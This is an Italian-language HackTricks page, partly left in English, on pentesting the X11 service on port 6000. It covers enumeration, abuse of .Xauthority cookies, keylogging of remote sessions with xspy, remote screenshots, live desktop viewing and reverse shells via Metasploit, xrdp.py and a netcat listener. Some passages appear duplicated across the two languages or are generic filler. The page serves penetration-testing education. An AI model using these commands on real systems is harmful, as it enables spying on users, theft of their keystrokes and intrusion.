hacktricks/network-services-pentesting/6000-pentesting-x11.md
2024-02-10 13:03:23 +00:00

13 KiB
Raw Blame History

6000 - Pentesting X11

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug bounty!

Insight sull'hacking
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking

Notizie sull'hacking in tempo reale
Resta aggiornato sul mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale

Ultime notizie
Rimani informato sul lancio delle nuove bug bounty e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!

Informazioni di base

X Window System (X) è un versatile sistema di finestre diffuso nei sistemi operativi basati su UNIX. Fornisce un framework per la creazione di interfacce utente grafiche (GUI), con programmi individuali che gestiscono la progettazione dell'interfaccia utente. Questa flessibilità consente esperienze diverse e personalizzabili all'interno dell'ambiente X.

Porta predefinita: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumerazione

Controlla la connessione anonima:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Enumerazione Locale

Il file .Xauthority nella cartella home dell'utente viene utilizzato da X11 per l'autorizzazione. Da qui:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Generazione di 128 bit di chiave ("cookie"), memorizzandola in ~/.Xauthority (o dove punta la variabile di ambiente XAUTHORITY). Il client la invia al server in chiaro! Il server controlla se ha una copia di questo "cookie" e, in caso affermativo, la connessione viene consentita. La chiave è generata da DMX.

{% hint style="warning" %} Per utilizzare il cookie è necessario impostare la variabile di ambiente: export XAUTHORITY=/percorso/a/.Xauthority {% endhint %}

Sessione di enumerazione locale

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

Verifica Connessione

To verify the X11 connection, you can use the xeyes command. This command will open a small window with a pair of eyes that follow the mouse cursor. If the eyes appear on the remote machine, it means that the X11 connection is working properly.

Per verificare la connessione X11, puoi utilizzare il comando xeyes. Questo comando aprirà una piccola finestra con una coppia di occhi che seguiranno il cursore del mouse. Se gli occhi appaiono sulla macchina remota, significa che la connessione X11 funziona correttamente.

$ xeyes

If the xeyes command is not found, you may need to install it. On Debian-based systems, you can install it with the following command:

Se il comando xeyes non viene trovato, potrebbe essere necessario installarlo. Nei sistemi basati su Debian, puoi installarlo con il seguente comando:

$ sudo apt-get install x11-apps

Once installed, you can run the xeyes command again to verify the X11 connection.

Una volta installato, puoi eseguire nuovamente il comando xeyes per verificare la connessione X11.

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy per intercettare le pressioni dei tasti della tastiera.

Esempio di output:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Cattura degli screenshot

To capture screenshots during a penetration test, you can use various tools and techniques. Here are some methods you can employ:

1. Scrot

Scrot is a command-line tool that allows you to capture screenshots in Linux. You can install it using the following command:

sudo apt-get install scrot

To capture a screenshot, simply run the following command:

scrot screenshot.png

This will save the screenshot as screenshot.png in the current directory.

2. Xwd

Xwd is another command-line tool that can be used to capture screenshots in X Window System. To capture a screenshot, run the following command:

xwd -root -out screenshot.xwd

This will save the screenshot as screenshot.xwd in the current directory.

3. Xwdtopnm

Xwdtopnm is a command-line tool that converts X Window System screenshots to the PNM format. To capture a screenshot and convert it to PNM, run the following command:

xwd -root -out screenshot.xwd
xwdtopnm screenshot.xwd > screenshot.pnm

This will save the screenshot as screenshot.pnm in the current directory.

4. Xvfb

Xvfb (X virtual framebuffer) is a display server that can be used to capture screenshots in headless environments. To capture a screenshot using Xvfb, follow these steps:

  1. Install Xvfb using the following command:

    sudo apt-get install xvfb
    
  2. Start Xvfb using the following command:

    Xvfb :99 -screen 0 1024x768x24 &
    
  3. Set the DISPLAY environment variable to :99:

    export DISPLAY=:99
    
  4. Capture a screenshot using any of the previously mentioned tools (e.g., scrot, xwd, xwdtopnm).

These are just a few methods you can use to capture screenshots during a penetration test. Experiment with different tools and techniques to find the one that works best for your specific needs.

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Visualizzazione Desktop Remoto

Procedura da: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Modo da: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

Prima di tutto dobbiamo trovare l'ID della finestra utilizzando xwininfo.

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Per la visualizzazione in tempo reale è necessario utilizzare

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Ottenere una Shell

To get a shell, you can exploit vulnerabilities in X11 services. Here are some techniques you can use:

1. X11 Forwarding

If X11 forwarding is enabled on the target system, you can use it to run X11 applications remotely and potentially gain a shell. To do this, you need to have SSH access to the target system and enable X11 forwarding in your SSH client.

2. X11 Injection

X11 injection involves injecting malicious code into a legitimate X11 application to gain control over the target system. This technique requires you to have access to the target system and the ability to execute arbitrary code.

3. X11 Server Exploitation

If the X11 server on the target system is misconfigured or outdated, you may be able to exploit known vulnerabilities to gain a shell. This technique requires you to identify the version and configuration of the X11 server and then search for relevant exploits.

4. X11 Port Forwarding

X11 port forwarding allows you to forward X11 traffic from the target system to your local machine. This can be useful if you want to interact with X11 applications running on the target system. To set up X11 port forwarding, you need to have SSH access to the target system and enable X11 forwarding in your SSH client.

5. X11 Reverse Shell

A reverse shell involves establishing a connection from the target system to your machine, allowing you to gain a shell. To achieve this, you need to set up a listener on your machine and exploit a vulnerability in an X11 application running on the target system to establish the reverse connection.

Remember to always obtain proper authorization before attempting any of these techniques.

msf> use exploit/unix/x11/x11_keyboard_exec

Altro modo:

Shell inversa: Xrdp consente anche di ottenere una shell inversa tramite Netcat. Digita il seguente comando:

./xrdp.py \<IP:0> no-disp

Nell'interfaccia puoi vedere l'opzione R-shell.

Successivamente, avvia un listener Netcat nel tuo sistema locale sulla porta 5555.

nc -lvp 5555

Successivamente, inserisci il tuo indirizzo IP e la porta nell'opzione R-Shell e clicca su R-shell per ottenere una shell.

Riferimenti

Shodan

  • port:6000 x11

Unisciti al server HackenProof Discord per comunicare con hacker esperti e cacciatori di bug!

Hacking Insights
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking

Notizie di Hacking in Tempo Reale
Resta aggiornato con il mondo dell'hacking frenetico attraverso notizie e approfondimenti in tempo reale

Ultime Novità
Rimani informato sul lancio delle nuove taglie di bug e sugli aggiornamenti cruciali della piattaforma

Unisciti a noi su Discord e inizia a collaborare con i migliori hacker oggi stesso!

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: